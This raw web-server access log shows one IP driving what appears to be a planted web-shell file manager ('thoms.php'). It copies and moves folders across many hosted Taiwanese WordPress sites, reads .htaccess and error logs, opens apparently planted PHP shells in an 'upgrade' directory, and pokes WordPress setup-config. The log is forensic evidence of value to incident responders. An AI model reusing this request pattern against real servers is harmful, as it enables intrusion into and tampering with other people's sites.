45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17972 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 11934 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=biotaiwan.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=booking-wise2.com.tw HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=upgrade HTTP/1.1" 200 11322 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=wp-content HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bestjudy.com.tw HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=big-wife.com.tw HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bodbooks.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18856 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bossini.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18856 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18857 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bfl.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=cgi-bin HTTP/1.1" 200 11334 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=broadweb.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=besth2o.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=betcity.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bioway88.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /bft.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 6566 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5810 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p=bestzyx.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 6550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 6772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 6852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 31205 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7821 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6576 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6577 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 33679 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 28571 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 47451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade%2F HTTP/1.1" 200 46729 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/wp-mail.php?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/wp-signup.php?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-mail.php?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-signup.php?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /thoms.php?edit=readme.html&p=bft.com.tw HTTP/1.1" 200 14984 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /bft.com.tw/index.php?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:31 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=bft.com.tw HTTP/1.1" 200 18600 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=bft.com.tw HTTP/1.1" 200 18183 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?edit=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 14585 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/index.php?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bft.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bodbooks.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18858 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=besth2o.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bioway88.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=booking-wise2.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bossini.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18969 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16671 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
